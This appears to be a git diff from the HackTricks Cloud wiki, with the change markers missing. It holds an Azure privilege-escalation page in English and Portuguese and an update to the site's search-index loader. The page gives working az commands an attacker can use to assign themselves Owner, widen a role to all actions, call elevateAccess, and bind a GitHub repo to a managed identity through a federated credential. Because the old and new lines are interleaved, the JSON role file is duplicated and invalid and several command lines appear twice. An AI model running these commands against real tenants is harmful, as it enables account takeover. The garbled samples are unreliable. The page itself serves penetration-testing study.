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Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
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@@ -4,7 +4,7 @@
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## Azure IAM
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Fore more information check:
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Para mais informações, consulte:
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{{#ref}}
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../az-services/az-azuread.md
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@@ -12,45 +12,40 @@ Fore more information check:
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### Microsoft.Authorization/roleAssignments/write
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This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
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Esta permissão permite atribuir funções a principais sobre um escopo específico, permitindo que um atacante eleve privilégios ao se atribuir uma função mais privilegiada:
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```bash
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# Example
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az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
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```
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### Microsoft.Authorization/roleDefinitions/Write
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This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
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Create the file `role.json` with the following **content**:
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Esta permissão permite modificar as permissões concedidas por um papel, permitindo que um atacante escale privilégios ao conceder mais permissões a um papel que ele tenha atribuído.
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Crie o arquivo `role.json` com o seguinte **conteúdo**:
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```json
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{
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"Name": "<name of the role>",
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"IsCustom": true,
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"Description": "Custom role with elevated privileges",
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"Actions": ["*"],
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"NotActions": [],
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"DataActions": ["*"],
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"NotDataActions": [],
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"AssignableScopes": ["/subscriptions/<subscription-id>"]
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"roleName": "<name of the role>",
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"Name": "<name of the role>",
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"IsCustom": true,
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"Description": "Custom role with elevated privileges",
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"Actions": ["*"],
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"NotActions": [],
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"DataActions": ["*"],
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"NotDataActions": [],
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"AssignableScopes": ["/subscriptions/<subscription-id>"],
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"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
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}
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```
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Then update the role permissions with the previous definition calling:
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Então atualize as permissões de função com a definição anterior chamando:
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```bash
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az role definition update --role-definition role.json
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```
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### Microsoft.Authorization/elevateAccess/action
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This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
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Esta permissão permite elevar privilégios e ser capaz de atribuir permissões a qualquer principal para recursos do Azure. É destinada a ser concedida a Administradores Globais do Entra ID para que eles também possam gerenciar permissões sobre recursos do Azure.
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> [!TIP]
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> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
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> Eu acho que o usuário precisa ser Administrador Global no Entra ID para que a chamada de elevação funcione.
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```bash
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# Call elevate
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az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
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@@ -58,27 +53,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
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# Grant a user the Owner role
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az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
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```
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### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
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This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
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Example command to give access to a repo in Github to the a managed identity:
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Esta permissão permite adicionar credenciais federadas a identidades gerenciadas. Por exemplo, conceder acesso ao Github Actions em um repositório a uma identidade gerenciada. Em seguida, permite **acessar qualquer identidade gerenciada definida pelo usuário**.
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Exemplo de comando para conceder acesso a um repositório no Github a uma identidade gerenciada:
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```bash
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# Generic example:
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az rest --method PUT \
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--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
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--headers "Content-Type=application/json" \
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--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
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--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
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--headers "Content-Type=application/json" \
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--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
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# Example with specific data:
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az rest --method PUT \
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--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
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--headers "Content-Type=application/json" \
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--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
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--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
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--headers "Content-Type=application/json" \
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--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
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```
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{{#include ../../../banners/hacktricks-training.md}}
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@@ -471,16 +471,53 @@ window.search = window.search || {};
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showResults(true);
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}
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var branch = lang === "en" ? "master" : lang
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fetch(`https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.json`)
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.then(response => response.json())
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.then(json => init(json))
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.catch(error => { // Try to load searchindex.js if fetch failed
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var script = document.createElement('script');
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script.src = `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`;
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script.onload = () => init(window.search);
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document.head.appendChild(script);
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});
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(async function loadSearchIndex(lang = window.lang || "en") {
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const branch = lang === "en" ? "master" : lang;
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const rawUrl =
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`https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`;
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const localJs = "/searchindex.js";
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const TIMEOUT_MS = 5_000;
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/* helper: inject a <script src=…> and wait for it */
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const injectScript = (src) =>
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new Promise((resolve, reject) => {
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const s = document.createElement("script");
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s.src = src;
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s.onload = () => resolve(src);
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s.onerror = (e) => reject(e);
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document.head.appendChild(s);
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});
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try {
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/* 1 — download raw JS from GitHub */
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const controller = new AbortController();
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const timer = setTimeout(() => controller.abort(), TIMEOUT_MS);
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const res = await fetch(rawUrl, { signal: controller.signal });
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clearTimeout(timer);
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if (!res.ok) throw new Error(`HTTP ${res.status}`);
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/* 2 — wrap in a Blob so the browser sees application/javascript */
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const code = await res.text();
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const blobUrl = URL.createObjectURL(
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new Blob([code], { type: "application/javascript" })
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);
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/* 3 — execute it */
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await injectScript(blobUrl);
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return init(window.search);
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} catch (eRemote) {
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console.warn("Remote JS failed →", eRemote);
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}
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/* ───────── fallback: local copy ───────── */
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try {
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await injectScript(localJs);
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return init(window.search);
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} catch (eLocal) {
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console.error("Local JS failed →", eLocal);
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}
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})();
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// Exported functions
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search.hasFocus = hasFocus;
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